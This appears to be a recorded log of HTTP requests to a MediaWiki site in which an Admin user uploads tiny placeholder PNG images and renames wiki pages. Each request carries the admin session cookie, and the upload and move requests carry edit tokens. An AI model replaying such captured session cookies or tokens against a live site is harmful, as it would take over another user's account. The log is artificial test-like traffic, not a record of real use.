{"method": "GET", "target": "/images/0/09/Notes_on_python3.png?_=20261109210514", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=c2gfg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.action/images/checker.svg?ff513", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20powershell.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQIeCXSkQvVQPCIc8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": "------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on powershell.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffdY\u0015\u0005\u0000\u0002f\u0001A\u0018\ufffd\ufffd\u0011\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_powershell.png\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on powershell\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n04df2036b25a874079015f228a4935836af2358b+\\\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_powershell.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/6/64/Notes_on_powershell.png?_=20261109210516", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_powershell.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20ls%20-la.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjYhcLM0KCdNU1Yr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdcH\ufffd\u0002\u0000\u0002\ufffd\u0001K\ufffdT\ufffdF\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_ls_-la.png\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on ls -la\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n17308033f79e760cc2a6dd6065044caf6af2358c+\\\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_ls_-la.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/3/32/Notes_on_ls_-la.png?_=20261109210518", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_ls_-la.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20.htaccess.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1187", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeEXz4cjBllRc2Dm3", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\u024b\u0002\u0000\u0002\ufffd\u0001U\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_.htaccess.png\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on .htaccess\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7621d6909750a29418bd130dc29d97d56af2358e+\\\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_.htaccess.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/d/d9/Notes_on_.htaccess.png?_=20261109210520", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_.htaccess.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=z4uar", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Python3+notes&wpReasonList=other&wpReason=Notes+on+python3&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Lighthouse+notes&wpEditToken=d1ffba0f229e323bf8aa2617d291bac66af23590%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:MovePage&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 213", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Python3_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Powershell+notes&wpReasonList=other&wpReason=Notes+on+powershell&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Python3+notes&wpEditToken=7f643ac1a17a39e1e0ff5df7159bf6cc6af23592%2B%5C"}
